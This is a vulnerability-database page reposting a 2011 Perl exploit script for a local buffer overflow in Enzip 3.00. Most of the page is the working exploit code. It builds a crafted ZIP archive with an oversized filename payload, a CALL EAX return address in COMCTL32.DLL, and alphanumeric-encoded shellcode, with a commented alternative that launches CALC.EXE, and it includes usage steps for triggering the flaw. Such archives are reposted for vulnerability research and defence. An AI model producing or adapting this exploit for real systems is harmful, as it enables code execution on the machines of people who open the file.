Lucene search
K

Enzip 3.00 - Local Buffer Overflow

🗓️ 06 Jan 2011 00:00:00Reported by C4SS!0 G0M3SType 
exploitpack
 exploitpack
👁 28 Views

Exploit Buffer Overflow Enzip 3.00 by C4SS!0 G0M3S, Version 3.00, Tested on WIN-XP SP3 Portuguese Brazilian. How to exploit: Open file with specially designed Enzip 3.00, click button to the right, select option, then open program shows in my case Shellcode is a MessageBox(

Code
#[+]Exploit Title: Exploit Buffer Overflow Enzip 3.00
#[+]Date: 01\06\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.bcuc.ac.uk/files/enzip300.exe
#[+]Version: 3.00
#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN 
#[+]CVE: N/A
#
#
#Create BY C4SS!0 G0M3S
#[email protected]
#Website http://www.invasao.com.br
#
#
#HOW TO:
#
#OPEN THE FILE WITH THE SPECIALLY DESIGNED ENZIP 3.00
#THEN CLICK BUTTON TO THE RIGHT ON TOP OF THE FILE NAME
#SELECT OPTION THEN OPEN THE PROGRAM SHOWS IN MY CASE Shellcode is a MessageBox ()
#
#


if($#ARGV!=0)
{
system("cls");
system("color 4f");
sub usage
{
print "\n\n".                  
      "             ||========================================||\n".
	  "             ||                                        ||\n".
	  "             ||    Exploit Buffer Overflow Enzip 3.00  ||\n".
	  "             ||    Created BY C4SS!0 G0M3S             ||\n".
	  "             ||    Louredo_\@hotmail.com                ||\n".
	  "             ||                                        ||\n".
	  "             ||========================================||\n\n\n";

	  
print "[+]Exploit: Exploit Buffer Overflow Enzip 3.00\n";
print "[+]Date: 01\\06\\2011\n";
print "[+]Author: C4SS!0 G0M3S\n";
print "[+]Home: www.invasao.com.br\n";
print "[+]Version: 3.00\n";
print "[+]Tested On: WIN-XP SP3 Portuguese Brazilian\n";
print "[+]E-mail: Louredo_\@hotmail.com\n\n";
print "[+]Note:\n\nRead the comments above to Learn How to Exploit Works\n\n\n";

}
usage;
print "[-]Usage: $0 <File Name>\n";
print "[-]Exemple: $0 exploit.zip\n";
exit(0);
	 
}
	  

my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";
usage;
print "[*]Preparing payload\n";
sleep(1);

my $payload = "\x41" x 1024;
$payload .= "BBBB"; #VALUE DE EAX
$payload .= "CCCC"; #VALUE DE EDX
$payload .= "DDDD"; #VALUE DE ECX




$payload .= "\x42" x 1022;
$payload .= pack('V',0x5D54296F); # CALL EAX COMCTL32.DLL



$payload .= "\x43" x 40;


print "[*]Identifying the length Shellcode\n";
sleep(1);

#
#
#SHELLCODE ENCODER USING ALPHA 2 BASEADDRESS EAX
#
#PROMPT:
#
#C:\alpha> alpha2 --uppercase eax < File_name.txt
#
#

$shellcode = 
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI6SYP03O903XRWC9KPPRHR".
"LBL10Q03XWCP26N2DU8453CRE3BV4F8OKCKUMK0CL0PKO8SZ0P38R0R89QN3W6PZOK1O1TQTQB14Q0QS".
"X51E73UW22HPMCUSCT3PT0ZV2PPNYP0NNMPSLKON1VSYYVSN26SYKF1RHPSWP10WPSXQWP00MFSSXV3W".
"Q6PWPBHQ00CWDV3SXU4Q0W2RYRHRO3YD43UE8QU2XD0RLV4V9PSRHGQP0WPQ0CX73P4630SPT1KBJQP1".
"C0QPRKOHPVSYPPPONJZXJK1SLKON6A";
#
#
#OR THIS SHELLCODE WinExec("CALC.EXE",0)
#
#PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYKIPVQXIOO3L5FBPXLN9D
#46DJTNQ5N0XVQD84XK3M8KL33RXE8L4MUP02XOLSUO92XOFVCKEL3X4NNSM5RNJGJP2ELOOSRJM5M64X
#USVQ9WQKWLVSPJUT1XJDFWEZUB4O7SLKKUKUURKZP179M1XKMWRP8EKI2M8YSZW7KCJ8OPL0O7SHSPSY
#41GL7XXWKLCLNK35O0WQCSTPQY1VSXML5O6L5IQCNMHJUNJL1UUOX7VMIWMWK9PXYKN0QE1OFTNVOMUT
#YK7OGT8FOPYLP3K8W5UCOM83KYZA
#
#



print "[*]The length is Shellcode:".length($shellcode)."\n";
sleep(1);



$payload .= $shellcode; 
$payload .= "\x46" x (1568 - length($shellcode));


$payload .= "\x52\x58\x66\x05\xB2\x0B\x40\x40".
"\x40" x 10;
$payload .= "\x50\x98\xd1";


$payload .= "\x4a" x (4064 - length($payload));





$file = $ARGV[0];

$payload = $payload.".txt";
my $zip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;
print "[*]Creating the File $file\n";

open(f,">$file") or die("ERROR\n$!\n");
print f $zip;
close(f);
print "[*]The File $file was Successfully Created\n";
sleep(1);
exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation